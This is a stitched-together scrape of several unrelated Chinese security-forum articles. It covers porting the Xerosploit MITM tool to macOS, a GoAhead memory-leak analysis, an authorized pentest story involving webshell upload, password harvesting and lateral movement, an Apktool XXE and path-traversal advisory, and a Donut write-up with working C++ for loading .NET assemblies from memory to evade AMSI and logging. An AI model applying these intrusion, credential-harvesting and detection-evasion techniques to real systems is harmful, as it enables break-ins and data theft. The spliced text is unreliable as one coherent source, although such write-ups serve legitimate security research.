print("\033[1;34m\n[++] Installing Xerosploit ... \033[1;m")
install = os.system("apt-get update && apt-get install -y nmap hping3 build-essential python-pip ruby-dev git libpcap-dev libgmp3-dev && pip install tabulate terminaltables")
install1 = os.system("""cd tools/bettercap/ && gem build bettercap.* && sudo gem install xettercap-* && rm xettercap-* && cd ../../ && mkdir -p /opt/xerosploit && cp -R tools/ /opt/xerosploit/ && cp xerosploit.py /opt/xerosploit/xerosploit.py && cp banner.py /opt/xerosploit/banner.py && cp run.sh /usr/bin/xerosploit && chmod +x /usr/bin/xerosploit && tput setaf 34; echo "Xerosploit has been sucessfuly instaled. Execute 'xerosploit' in your terminal." """)
elif system0 == "2":
print("\033[1;34m\n[++] Installing Xerosploit ... \033[1;m")
bet_un = os.system("apt-get remove bettercap") # Remove bettercap to avoid some problems . Installed by default with apt-get .
bet_re_ins = os.system("gem install bettercap") # Reinstall bettercap with gem.
install = os.system("apt-get update && apt-get install -y nmap hping3 ruby-dev git libpcap-dev libgmp3-dev python-tabulate python-terminaltables")
install1 = os.system("""cd tools/bettercap/ && gem build bettercap.* && sudo gem install xettercap-* && rm xettercap-* && cd ../../ && mkdir -p /opt/xerosploit && cp -R tools/ /opt/xerosploit/ && cp xerosploit.py /opt/xerosploit/xerosploit.py && cp banner.py /opt/xerosploit/banner.py && cp run.sh /usr/bin/xerosploit && chmod +x /usr/bin/xerosploit && tput setaf 34; echo "Xerosploit has been sucessfuly instaled. Execute 'xerosploit' in your terminal." """)
else:
print("Please select the option 1 or 2")
main()
main()
结合注释可以看到Xerosploit之所以在安装时需要区分`Parrot OS`和其他系统是因为`Parrot
OS`自带的`bettercap`存在一定问题 故多了一步卸载`bettercap`的过程 其他并无异。
通过`apt-get`安装的工具依赖组件如下：
nmap
hping3
build-essential
ruby-dev
libpcap-dev
libgmp3-dev
tabulate
terminaltables
其中nmap可以通过ruby(MacOSy内置)的brew来安装 命令如下：
ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" < /dev/null 2> /dev/null
brew install nmap
`tabulate`和`terminaltables`均为Python的模块 可通过pip安装
pip install tabulate terminaltables
需要注意的是由于Kali等系统上自带了`driftnet` 而MacOS上并没有
不过我们可以通过[macports](https://distfiles.macports.org/MacPorts/MacPorts-2.5.4-10.14-Mojave.pkg)来安装
sudo port install driftnet
请自备macports 自行安装driftnet！！！
其他文档均为bttercap所需调用的组件 由于`bttercap`本身支持MacOS 这些组件在编译
修改后的命令
ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" < /dev/null 2> /dev/null && brew install nmap && pip install tabulate terminaltables
接下来的编译bttercap：
cd tools/bettercap/ &&
gem build bettercap.* &&
sudo gem install xettercap-* &&
rm xettercap-* &&
cd ../../ &&
mkdir -p /opt/xerosploit &&
cp -R tools/ /opt/xerosploit/ &&
cp xerosploit.py /opt/xerosploit/xerosploit.py &&
cp banner.py /opt/xerosploit/banner.py &&
cp run.sh /usr/bin/xerosploit &&
chmod +x /usr/bin/xerosploit &&
tput setaf 34; echo "Xerosploit has been sucessfuly instaled. Execute 'xerosploit' in your terminal.
这里面主要存在两个问题 第一是MacOS往/opt/目录里面写文件需要root文件 而kali等不需要 所以涉及到的命令都需要加sudo提升权限再执行；
第二是MacOS禁止用户向`/usr/bin`目录里写文件 root权限也不行；解决方案：（此处是为了终端直接输入xerosploit即可运行程序
那么可以将run.sh文件复制到其他目录去 在通过终端配置文件索引到该目录即可）
修改后的命令：
cd tools/bettercap/ && gem build bettercap.* && sudo gem install xettercap-* && rm xettercap-* && cd ../../ && sudo mkdir -p /opt/xerosploit && sudo cp -R tools/ /opt/xerosploit/ && sudo cp xerosploit.py /opt/xerosploit/xerosploit.py && sudo cp banner.py /opt/xerosploit/banner.py && sudo mkdir /opt/xerosploit/bin && sudo cp run.sh /opt/xerosploit/bin && chmod +x /opt/xerosploit/bin && sudo mkdir /opt/xerosploit/tools && sudo cp -R tools/* /opt/xerosploit/tools/
这里需要手动将代码`alias xerosploit='python /opt/xerosploit/xerosploit.py`添加到终端配置文件中
nano ~/.bash_profile
添加代码：`alias xerosploit='python /opt/xerosploit/xerosploit.py``
如果是iTerm2用户需编辑~/.zshrc文件（如笔者）
修改完成后程序即可正常安装。
#### 0x02_02 主程序`xerosploit.py`
##### 0x02_02_01 home()函数
环境问题修改完后发现程序运行不正常 很多信息无法显示
直接看到对应的代码（86-89）
table = [["IP Address","MAC Address","Gateway","Iface","Hostname"],
["","","","",""],
[n_ip,n_mac.upper(),gateway,up_interface,n_host]]
print (tabulate(table, stralign="center",tablefmt="fancy_grid",headers="firstrow"))
找到对应的变量的赋值点
n_name = os.popen('iwgetid -r').read() # Get wireless network name
n_mac = os.popen("ip addr | grep 'state UP' -A1 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'").read() # Get network mac
n_ip = os.popen("hostname -I").read() # Local IP address
n_host = os.popen("hostname").read() # hostname
gateway = os.popen("ip route show | grep -i 'default via'| awk '{print $3 }'").read()
发现这些命令在MacOS上并不能运行：
**修改：**
内网ip(n_ip):
ifconfig|grep 'inet '|grep -v '127.0'|xargs|awk -F '[ :]' '{print $2}'
Mac地址(n_mac)：
ifconfig en0|grep "ether"|xargs|awk -F '[ ]' '{print $2}'
网关（gateway）：
netstat -nr| grep 'default' | awk '{print $2}'|xargs|awk -F '[\n]' '{print $1}'|xargs|awk -F '[ ]' '{print $1}'
当前WIFI的SSID（n_name）:
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -I |grep "SSID"|xargs|awk -F '[ ]' '{print $4}'
(MacOS只能通过自带的airport来操作wifi python无任何第三方库可获取到ssid)
**修改后：**
##### 0x02_02_02 program0()函数
正常scan后出现如下情况：
定位到命令：
bash -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
作用是开启ipv4报文路由转发 然而MacOS并没有`/proc/sys/net/ipv4/ip_forward`这个文件
另一条需要修改的命令
ip addr | grep 'state UP' -A1 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'
作用是获取自己的mac地址
**修改：**
sysctl -w net.inet.ip.forwarding=1
（查看指令`sudo sysctl -a | grep forward`）
获取自己的mac地址
ifconfig en0|grep "ether"|xargs|awk -F '[ ]' '{print $2}'
**修改后：**
##### 0x02_02_03 其他修改
大致上都是权限不够的给权限即可。
原版Xerosploit里对于国内醉鸡肋的功能就是`yplay`（播放youtube的视频）了 故笔者将其修改为`youkuPlay`了
插入链接可播放优酷的视频。
### 0x03 效果展示
**注入html文件:**
### 0x04 成品：
https://github.com/TheKingOfDuck/xerosploit
安装前务必先自己手动安装安装
[macports](https://distfiles.macports.org/MacPorts/MacPorts-2.5.4-10.14-Mojave.pkg)并通过
sudo port install driftnet
安装driftnet图片捕获工具 | 社区文章 |
## 0x1 漏洞描述
GoAhead 是一个开源、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web
Server。很多厂商的产品使用过GoAhead，比如IBM、HP、Oracle、波音、D-link。
GoAhead 版本 4.X 到 5.0存在一个内存信息泄漏漏洞。
[漏洞信息一](https://github.com/embedthis/goahead/issues/290)
[漏洞信息二](https://github.com/embedthis/goahead/issues/289)
## 0x2 漏洞复现
wget https://github.com/embedthis/goahead/archive/v5.0.0.zip
unzip v5.0.0
cd goahead-5.0.0
#编译GoAhead
make
#运行GoAhead Web服务器
sudo ./build/linux-x64-default/bin/goahead -v ./ 0.0.0.0:8888
访问goahead服务器
漏洞发生在文件http.c的websRedirect函数，websRedirect顾名思义，处理跳转的请求。
在route.txt中配置一条可以跳转的路由，比如： 强制跳转到login.html页面
route uri=/ auth=form handler=continue redirect=401@/login.html
此时访问根目录，当http头host字段太长时，导致内存信息泄漏。
## 0x3 漏洞分析
在websRedirect函数，会将http head中的host信息拷贝到hostbuf中，后期会拼接http字符串返回给用户，显示页面的跳转信息。
1625 PUBLIC void websRedirect(Webs *wp, cchar *uri)
1 {
2 .....
3 char hostbuf[ME_GOAHEAD_LIMIT_STRING];
.....
.....
13 if ((host = (wp->host ? wp->host : websHostUrl)) != 0) {
14 scopy(hostbuf, sizeof(hostbuf), host);
....
...
ME_GOAHEAD_LIMIT_STRING的值为256，当host长度大于256时。scopy为防止发生溢出，不进行复制，返回-1。
scopy函数
14151 PUBLIC ssize scopy(char *dest, ssize destMax, cchar *src)
1 {
2 ssize len;
3
4 assert(src);
5 assert(dest);
6 assert(0 < dest && destMax < MAXINT);
7
8 len = slen(src);
9 if (destMax <= len) {
10 return -1;
11 }
12 strcpy(dest, src);
13 return len;
14 }
scopy没有进行拷贝，hostbuf也没有初始化，此时hostbuf内存的信息为内存中的随机的信息，并且将这些信息返回给客户端，导致了内存信息泄漏。这就是为什么上面burp
suite response会出现乱码的原因。
1625 PUBLIC void websRedirect(Webs *wp, cchar *uri)
1 {
.....
.....
.....
22 if (smatch(uri, "http://") || smatch(uri, "https://")) {
23 /* Protocol switch with existing Uri */
24 scheme = sncmp(uri, "https", 5) == 0 ? "https" : "http";
25 uri = location = makeUri(scheme, hostbuf, 0, wp->url);
26 }
27 secure = strstr(uri, "https://") != 0;
28 fullyQualified = strstr(uri, "http://") || strstr(uri, "https://");
29 if (!fullyQualified) {
30 port = originalPort;
31 if (wp->flags & WEBS_SECURE) {
32 secure = 1;
33 }
34 }
35 scheme = secure ? "https" : "http";
36 if (port <= 0) {
37 port = secure ? defaultSslPort : defaultHttpPort;
38 }
39 if (strstr(uri, "https:///")) {
40 /* Short-hand for redirect to https */
41 uri = location = makeUri(scheme, hostbuf, port, &uri[8]);
42
43 } else if (strstr(uri, "http:///")) {
44 uri = location = makeUri(scheme, hostbuf, port, &uri[7]);
45 } else if (!fullyQualified) {
46 uri = location = makeUri(scheme, hostbuf, port, uri);
47 }
48 message = sfmt("<html><head></head><body>\r\n\
49 This document has moved to a new <a href=\"%s\">location</a>.\r\n\
50 Please update your documents to reflect the new location.\r\n\
51 </body></html>\r\n", uri);
52 len = slen(message);
53 websSetStatus(wp, HTTP_CODE_MOVED_TEMPORARILY);
54 websWriteHeaders(wp, len + 2, uri);
55 websWriteEndHeaders(wp);
56 websWriteBlock(wp, message, len);
57 websWriteBlock(wp, "\r\n", 2);
58 websDone(wp);
59 wfree(message);
60 wfree(location);
61 }
## 0x4 总结一下
漏洞产生的原因是因为没有初始化内存，可能我见识比较少，感觉这种漏洞比较不常见，挖到这个漏洞的Dbappsecurity老哥是代码审计到的？ | 社区文章 |
**本文中提及的app相关漏洞已经修复，本次测试也为授权测试，所有敏感信息均使用模糊处理。**
这次内网渗透要从枯燥无味的日常工作说起了，由于我在的某厂签合同就像卖身，几乎包下了某商的所有安全有关的工作，什么事都要去做，然而指定测试的资产表中的资产几乎全是登录框，静态页面，一看合同上的每年漏洞数量，内心总是一句“mmp”，我相信很多师傅都遇到过这样的情况，连个测试账号都没有，而上一家驻场安全厂商几乎把什么都给你提了，什么明文传输、用户枚举、版本信息泄露，可能是客户也很清楚这一点，万一快要到来的护网期间被人“巧妙的”进入了某系统，后果不是扣一扣安全厂商的分就能解决的，在这个星期的某一天，局方提出了所谓的“众测”并给了测试账号，看到这条消息的时候我感觉到工具箱中某个工具居然在微微颤动并散发出了神秘的光芒。
目标是一个APP，然而开发十分的变态，基于vuex开发，参数全加密，基本上也就是业务办理、订单查询功能之类的，测了测查询功能基本无望，测试账号也没有数据，一个小时快过去了群里没有半点动静，二家厂商都没有人在里面说话。
Ps：没错局方买了俩家的安全服务，用来对比，PK漏洞数量等，压榨最后一滴劳动人民的血汗。
这个时候其实大多数人都慌的一批，总不能提点信息泄露吧？局方肯定猛怼一顿，“平时没账号挖不到洞，给了账号还是挖不到”，可惜上天不负细心人，在某个很不起眼的小角落里，有个乖巧的小机器人，点开后发现是一个客服机器人，能够查询解决问题。
西卡西（但是），貌似没有真正的客服，就一个机器人，我也是醉了，给了一堆案例出来。
但是我是那种随便放弃的人？怼了小机器人一句“找不到问题”，骚就骚在这招挺管用。
正常抓包，改包，流程我都懂，但是上传完，它会不回显地址只给了个”编号”？？？
这个时候我突然想起我经常会碰到的一个情况，开发的chou毛病：引用绝对地址，回去抓包看了看一些案例，我露出了“奸邪”的笑容，虽然吧引用的是内网地址，但是我依旧感觉到了工具箱里那闪烁着金色光芒的物体震动的响声。
在看了看与我相关的问题顺利，抓包找到了上传的文件。
但是这时候又有一个问题来了，存文件的机器不出网，闪烁着金色光芒的物体，一直狂叫：error：xxxxxx，我？？？？
西卡西（但是），它还在亮着，仔细斟酌以后，我掏出了来自2007年的也闪烁着金色光芒并震动着的它，果不其然，判断是正确的。
开发如此小心，但是还是有疏有漏，为了防止很快被发现，重新上传了闪烁着金色光芒并震动着的它到另外一个目录，尝试执行history命令的时候，发现执行不了，回显是一片空白，去直接打开查看了
.bash_history这个文件，嗯，警觉倒是没有，看来对自己的心仪之作很放心，平时都是看看日志，之类的。
执行了一下ps-ef，哟，你还挺懒的，平时就执行脚本或者用sshpass登录主机远程执行shell看个日志就结束了，骚就骚在进程里的-p参数后面闪着光的密码把进程中的密码和.bash_history中发现的脚本中的密码一对比，完全一样。
接下来是一些常规操作，重在细心，难在快速，首先通过排除法来快速，精准的找到有用的文件夹进行信息搜集，由于每个开发，维护的习惯不一样，要视情况而定，这里不一一列举，例如上面执行不了history命令可以去用户目录下查看.bash_history文件来查看历史命令执行记录，有时候用户目录下也有一些其他的文件，维护记录，密码本，配置本等等，准则为细心，“小步快跑”二方面，首先对目录进行时间排序，除网站目录外修改时间较为靠近近期的目录进行浏览，抓取关键信息，例如这里除了tmp以外的用户文件夹，etc文件夹可以先看。
经过搜集，确定了以下信息（为防止隐患分享不全）：
1、通过网站代码中的数据库地址、ps命令综合信息确定，采用了站库分离的架构
2、通过hosts文件确定机器处于DMZ网络中，D网络中机器的主机名均代表着机器的作用性，如：db（database）等等
3、密码均一样
4、通过对修改时间，文件目录命名规则来看，开发喜欢在网站目录下进行迭代版本，直接重新下载中间件部署新代码，早期版本均在旧版中间件中。
5、经过排序排除安装程序等无用的东西，结合之前发现的dashuju文件夹，进行排摸数据库连接池的名称查找发现druid（阿里开源数据连接池）目录、ZooKeeper目录，遂外网访问管理地址，从中完美收割二百余个url、cookie等信息，均可公网访问，可用功能，去看了备用服务器也是这样的情况。（从目录来看可以通过目录爆破可以很简单的爆破到，如果有针对性的话，在说了合同漏洞数量摆在那，这个还是要弄一弄的，未授权访问、XSS、Sql注入提一提，蚂蚱在小也是肉啊，何况这么多）
6、通过命令执行记录来看，开发只看运维所需要的日志不看其他的，可以放心操作。
通过之前的发现的密码信息快速的在hosts文件中发现的主机中“穿梭”，发现并不能找到想要的信息，之前对密码和hosts信息的搜集是为了摸清网络架构，快速的横向渗透，但是几台机器逛下来，并没有什么，除了用户数据就是用户数据，翻的眼都花了，转念一想开发掌握的机器只是他管理的范围之内的，网络架构也轮不到他来管，按照常识，一般只有负责与厂商对接的局方来管理，而数据量肯定不小，都是通过系统管理，在hosts文件中的发现可以确定目前的机器所在的系统是属于XX门户，这样的系统都是基于客服，用户数据，支撑网等组成的大架构，只有找对了人才能拿到想要的信息，而“进来”的机器从网站目录里面的文件夹和ps命令等综合判断来看是属于那种有很多系统的网站，自己肯定在那边落下了什么信息。
再回到那台入网机器后依旧没发现什么，目录太多了，tomcat、nginx的版本都快认全了，转变思维上了一个获取网站目录下的所有路径文件的.jsp，筛选出有关于webapps这个名称有关的目录，逐个用ls命令查看，直到我发现了某个毫不起眼的小目录里的ip.xls的时候心里咯噔了一下。
看了一下，我突然想起才入行的时候，我的师傅说的话，渗透的本质就是信息搜集，要细心，基本工很重要很重要。
后面的事情太多了，各类情况都有遇到，就不多说了， **内网纯Liunx机器，拿到这个xls等于百分之八十-九十的事情都已经完成了，共计6w多条数据。**
希望可以对刚入行的表哥们有所帮助，祝前程似锦。 | 社区文章 |
作者：[金刚@TSRC](https://security.tencent.com/index.php/blog/msg/122?from=timeline&isappinstalled=0
"金刚@TSRC")
#### 一 漏洞概述
Apktool是Android开发人员常用的工具，可用于反编译、重打包Apk。
近日，国外安全人员披露了早期版本的Apktool存在的两个漏洞细节，一个是XXE漏洞，可造成对用户电脑/系统任意文件的访问；另一个是路径穿越漏洞，可释放、覆盖用户电脑/系统文件、代码执行等危害。
#### 二 漏洞实例
###### 1\. XML外部实体 (XXE) 漏洞
原理：Apktool在解析AndroidManifest.xml文件时，不会禁用外部实体引用，导致存在XML外部实体注入攻击(XXE)漏洞。
利用方式：恶意攻击者通过构造Android应用中的恶意XML文件，用户使用Apktool对该应用进行重打包时，触发XXE漏洞，导致对用户电脑上文件的访问。
以下是利用过程：
先构造恶意AndroidManifest.xml，在其中插入一段访问远程服务器的代码，如下所示：
当用户使用Apktool对这个目录进行重打包生成Apk时，从远程服务器日志可以看出，用户电脑已经静默访问该网站。
研究人员也提供了读取/etc/目录下的文件并将内容回传给远程服务器的PoC代码，如下图所示：
关于XXE漏洞攻击和防护手段，可以访问TSRC的[这篇博客](https://security.tencent.com/index.php/blog/msg/69
"这篇博客")了解详情。
###### 2\. 路径穿越漏洞
原理：Apktool在解析apktool.yml文件中的unknownFiles字段时，没有对”../“字符串进行过滤，导路径穿越漏洞。
利用方式：恶意攻击者通过构造恶意apktool.yml文件，在unknownFiles字段中使用包含”
../“的路径，用户使用Apktool对该应用进行反编译时，造成释放、替换用户电脑对应路径下文件，甚至可造成代码执行的危害。
以下是利用过程：
先看一个正常apk反编译后的apktool.yml文件，
接着我们对其中的unknownFiles字段进行修改，添加一个能在apktool解压时穿越到apache服务器路径下的变量，如下图所示，
然后使用apktool对这个修改后的文件夹进行重打包，生成的apk效果如下：
当用户下载这个apk，使用apktool对其进行反编译时，
shell.php文件会被释放到/var/www/html路径下，同理，也可以替换用户其他路径下的文件。
#### 三 修复建议
Apktool在`1.5.2-2.2.4`之间的版本受上述漏洞影响，Apktool作者已经在新版本修复漏洞，建议升级至最新版。
Apktool下载链接： <https://bitbucket.org/iBotPeaches/apktool/downloads>
#### 四 结语
这个漏洞向我们展示了一个新的新攻击面，通过对常用开发者工具的漏洞利用，达到窃取用户/公司/系统敏感文件、代码执行的目的。建议大家不仅要对系统进行日常更新，也要关注常用软件的更新。
#### 五 参考文章
* [ParseDroid: Targeting The Android Development & Research Community](https://research.checkpoint.com/parsedroid-targeting-android-development-research-community/ "ParseDroid: Targeting The Android Development & Research Community")
* [Apktool v2.2.4 Released](https://connortumbleson.com/2017/07/29/apktool-v2-2-4-released/ "Apktool v2.2.4 Released")
* * * | 社区文章 |
# Donut：从内存中加载.NET程序集
|
##### 译文声明
本文是翻译文章，文章原作者 modexp，文章来源：modexp.wordpress.com
原文地址：<https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
我们可以在运行微软Windows系统的大多数设备上看到.NET
Framework的身影，.NET在针对Windows设备的攻击（红队）以及防御（蓝队）场景中也深受大家欢迎。2015年，微软将[AMSI（Antimalware
Scan Interface）](https://docs.microsoft.com/en-us/windows/desktop/AMSI/antimalware-scan-interface-portal)与执行脚本（VBScript、JScript、PowerShell）的各种Windows组件集成在一起。大约在同一时间，PowerShell中也添加了增强型日志记录或者[Script
Block Logging](https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html)功能，用来捕捉执行脚本的的所有内容，从而解决攻击者使用的任何混淆技术。为了能在红蓝对抗中占据上风，红队必须直接使用程序集（assembly），进一步深入.Net
Framework。程序集通常采用C#语言开发，可以为蓝队提供PowerShell支持的所有功能，并且还具备内存加载和执行的独特优势。在本文中，我将向大家简单介绍Donut这款工具，当我们提供一个.NET程序集、类名、方法以及其他可选参数时，[Donut](https://github.com/TheWover/donut)将生成一段位置无关代码（PIC）或者shellcode，可以从内存中加载.NET程序集。我和[TheWover](https://github.com/TheWover/)共同合作开发了这款工具，此外TheWover也写了介绍donut的一篇[文章](https://thewover.github.io/Introducing-Donut/)，欢迎大家参考。
## 0x01 CLR托管接口
CLR（Common Language
Runtime）是一个虚拟机组件，微软从v1.0版Framework（2002年发布）就开始提供[ICorRuntimeHost](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface)接口，用来托管.NET程序集。该接口在2006年发布的v2.0版Framework中被[ICLRRuntimeHost](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface)所替代，而后者又在2009年发布的v4.0版Framew中被[ICLRMetaHost](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface)替代。虽然已被弃用，但`ICorRuntimeHost`目前仍是从内存中加载程序集的最简单方法。我们可以使用多种方法来实例化该接口，最常用的有如下几种方法：
* [CoInitializeEx](https://docs.microsoft.com/en-us/windows/desktop/api/combaseapi/nf-combaseapi-coinitializeex)以及[CoCreateInstance](https://docs.microsoft.com/en-us/windows/desktop/api/combaseapi/nf-combaseapi-cocreateinstance)
* [CorBindToRuntime](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/corbindtoruntime-function)或者[CorBindToRuntimeEx](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/corbindtoruntimeex-function)
* [CLRCreateInstance](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function)以及[ICLRRuntimeInfo](https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface)
`CorBindToRuntime`以及`CorBindToRuntimeEx`执行的是同样的操作，但`CorBindToRuntimeEx`函数可以让我们指定CLR的具体行为。使用`CLRCreateInstance`时我们不必初始化COM（Component
Object Model），但v4.0版之前的Framework并没有实现该函数。如下C++代码可以从内存中加载.NET程序集：
#include <windows.h>
#include <oleauto.h>
#include <mscoree.h>
#include <comdef.h>
#include <cstdio>
#include <cstdint>
#include <cstring>
#include <cstdlib>
#include <sys/stat.h>
#import "mscorlib.tlb" raw_interfaces_only
void rundotnet(void *code, size_t len) {
HRESULT hr;
ICorRuntimeHost *icrh;
IUnknownPtr iu;
mscorlib::_AppDomainPtr ad;
mscorlib::_AssemblyPtr as;
mscorlib::_MethodInfoPtr mi;
VARIANT v1, v2;
SAFEARRAY *sa;
SAFEARRAYBOUND sab;
printf("CoCreateInstance(ICorRuntimeHost).n");
hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
hr = CoCreateInstance(
CLSID_CorRuntimeHost,
NULL,
CLSCTX_ALL,
IID_ICorRuntimeHost,
(LPVOID*)&icrh);
if(FAILED(hr)) return;
printf("ICorRuntimeHost::Start()n");
hr = icrh->Start();
if(SUCCEEDED(hr)) {
printf("ICorRuntimeHost::GetDefaultDomain()n");
hr = icrh->GetDefaultDomain(&iu);
if(SUCCEEDED(hr)) {
printf("IUnknown::QueryInterface()n");
hr = iu->QueryInterface(IID_PPV_ARGS(&ad));
if(SUCCEEDED(hr)) {
sab.lLbound = 0;
sab.cElements = len;
printf("SafeArrayCreate()n");
sa = SafeArrayCreate(VT_UI1, 1, &sab);
if(sa != NULL) {
CopyMemory(sa->pvData, code, len);
printf("AppDomain::Load_3()n");
hr = ad->Load_3(sa, &as);
if(SUCCEEDED(hr)) {
printf("Assembly::get_EntryPoint()n");
hr = as->get_EntryPoint(&mi);
if(SUCCEEDED(hr)) {
v1.vt = VT_NULL;
v1.plVal = NULL;
printf("MethodInfo::Invoke_3()n");
hr = mi->Invoke_3(v1, NULL, &v2);
mi->Release();
}
as->Release();
}
SafeArrayDestroy(sa);
}
ad->Release();
}
iu->Release();
}
icrh->Stop();
}
icrh->Release();
}
int main(int argc, char *argv[])
{
void *mem;
struct stat fs;
FILE *fd;
if(argc != 2) {
printf("usage: rundotnet <.NET assembly>n");
return 0;
}
// 1. get the size of file
stat(argv[1], &fs);
if(fs.st_size == 0) {
printf("file is empty.n");
return 0;
}
// 2. try open assembly
fd = fopen(argv[1], "rb");
if(fd == NULL) {
printf("unable to open "%s".n", argv[1]);
return 0;
}
// 3. allocate memory
mem = malloc(fs.st_size);
if(mem != NULL) {
// 4. read file into memory
fread(mem, 1, fs.st_size, fd);
// 5. run the program from memory
rundotnet(mem, fs.st_size);
// 6. free memory
free(mem);
}
// 7. close assembly
fclose(fd);
return 0;
}
如下是C#版的“Hello, World!”程序，当使用`csc.exe`编译后能生成一个.NET程序集，可以用来测试加载器。
// A Hello World! program in C#.
using System;
namespace HelloWorld
{
class Hello
{
static void Main()
{
Console.WriteLine("Hello World!");
}
}
}
编译并运行这些代码后，我们可以得到如下输出：
这是执行.NET程序集的基本方式，其中并没有考虑到Framework的具体版本。shellcode的实现有点不一样，会解析`CorBindToRuntime`以及`CLRCreateInstance`的地址（这与[subTee](https://twitter.com/subtee)开发的[AssemblyLoader](https://github.com/caseysmithrc/AssemblyLoader)类似）。如果成功解析`CLRCreateInstance`，并且调用后返回`E_NOTIMPL`或者“Not
implemented”，我们就会执行`CorBindToRuntime`（其中`pwszVersion`参数设置为NULL），请求可用的最新版本。如果我们使用`CorBindToRuntime`请求系统当前不支持的某个版本，那么运行shellcode的托管进程可能会弹出错误消息。比如，当Windows
7系统只支持v3.5.30729.5420版时，如果我们请求v4.0.30319，就会看到如下错误信息：
大家可能有疑问，为什么之前使用的OLE函数没有在shellcode中使用。除了OLE32之外，OLE函数有时候会在其他DLL中引用，比如COMBASE。xGetProcAddress可以处理转发引用，但至少目前为止，shellcode使用的是`CorBindToRuntime`以及`CLRCreateInstance`。在新版框架中，我们还可以使用`CoCreateInstance`。
## 0x02 定义.NET类型
在非托管（unmanaged）C++程序中，我们可以使用`#import`指令来访问类型（Types）。前文代码使用的是在`mscorlib.tlb`中定义的`_AppDomain`、`_Assembly`以及`_MethodInfo`接口。然而问题在于，在公开版的Windows
SDK中并没有定义这些接口。为了在较低级语言（如汇编语言或者C）中使用.NET类型，我们首先得手动定义这些接口。我们可以使用[LoadTypeLib](https://docs.microsoft.com/en-us/windows/desktop/api/oleauto/nf-oleauto-loadtypelib)
API来枚举类型信息，该函数会返回指向[ITypeLib](https://docs.microsoft.com/en-us/windows/desktop/api/oaidl/nn-oaidl-itypelib)接口的一个指针。该接口可以提取相关信息，比如库接口、方法以及变量。我发现[Olewoo](http://www.benf.org/other/olewoo/index.html)这款工具可以用来查看`mscorlib.tlb`信息。如果我们忽略面向对象编程（OOP）方面的相关信息，比如类、对象、继承、封装、抽象、多态……等，我们可以从底层来分析接口，毕竟接口只是指向某种数据结构的一个指针，而该数据结构包含指向函数/方法的指针而已。除了[phplib](https://github.com/embedthis/phplib/blob/master/ext/com_dotnet/com_dotnet.c)中的一个文件之外（该文件定义了`_AppDomain`接口），我无法在网上找到所需接口的定义。根据找到的示例，我构造了加载程序集所需的其他接口。如下即为`_AppDomain`接口中的某个方法：
HRESULT (STDMETHODCALLTYPE *InvokeMember_3)(
IType *This,
BSTR name,
BindingFlags invokeAttr,
IBinder *Binder,
VARIANT Target,
SAFEARRAY *args,
VARIANT *pRetVal);
虽然shellcode中没有使用`IBinder`接口的任何方法，我们可以将类型安全地改成`void
*`，但为了以后使用方便，我还是定义了如下接口。`DUMMY_METHOD`宏简单定义了一个函数指针：
typedef struct _Binder IBinder;
#undef DUMMY_METHOD
#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IBinder *This)
typedef struct _BinderVtbl {
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
IBinder * This,
/* [in] */ REFIID riid,
/* [iid_is][out] */ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
IBinder * This);
ULONG ( STDMETHODCALLTYPE *Release )(
IBinder * This);
DUMMY_METHOD(GetTypeInfoCount);
DUMMY_METHOD(GetTypeInfo);
DUMMY_METHOD(GetIDsOfNames);
DUMMY_METHOD(Invoke);
DUMMY_METHOD(ToString);
DUMMY_METHOD(Equals);
DUMMY_METHOD(GetHashCode);
DUMMY_METHOD(GetType);
DUMMY_METHOD(BindToMethod);
DUMMY_METHOD(BindToField);
DUMMY_METHOD(SelectMethod);
DUMMY_METHOD(SelectProperty);
DUMMY_METHOD(ChangeType);
DUMMY_METHOD(ReorderArgumentArray);
} BinderVtbl;
typedef struct _Binder {
BinderVtbl *lpVtbl;
} Binder;
我在[payload.h](https://github.com/TheWover/donut/blob/master/payload/payload.h)中定义了内存加载程序集所需的方法。
## 0x03 Donut实例
我们会将shellcode与某个数据块实例绑定在一起，这个数据块可以看成shellcode的“数据段”（data
segment），其中包含解析API之前待加载的DLL名、API字符串对应的64位哈希、内存加载.NET程序集的相关COM
GUID，如果实例和模块存储在staging服务器上，那么数据段也可以包含实例对应的解密秘钥。许多使用C语言编写的shellcode都倾向于在栈上存储字符串，但像[FireEye
Labs Obfuscated String Solver](https://github.com/fireeye/flare-floss)之类的工具可以轻易恢复这些信息，帮助我们更好分析代码。当涉及代码位置排列时，在独立的数据块中保存字符串就能体现出优势。我们可以在保持功能的同时修改代码，并且永远不需要处理“只读”的立即值，这些值将使整个过程变得复杂，大大增加代码量。在`call`操作码（opcode）之后以及`pop
ecx` / `pop rcx`之前我们使用的结构如下所示。在x86以及x86-64
shellcode中我们使用了`fastcall`约定，使代码便于加载指向保存在`ecx`或`rcx`寄存器中实例的指针。
typedef struct _DONUT_INSTANCE {
uint32_t len; // total size of instance
DONUT_CRYPT key; // decrypts instance
// everything from here is encrypted
int dll_cnt; // the number of DLL to load before resolving API
char dll_name[DONUT_MAX_DLL][32]; // a list of DLL strings to load
uint64_t iv; // the 64-bit initial value for maru hash
int api_cnt; // the 64-bit hashes of API required for instance to work
union {
uint64_t hash[48]; // holds up to 48 api hashes
void *addr[48]; // holds up to 48 api addresses
// include prototypes only if header included from payload.h
#ifdef PAYLOAD_H
struct {
// imports from kernel32.dll
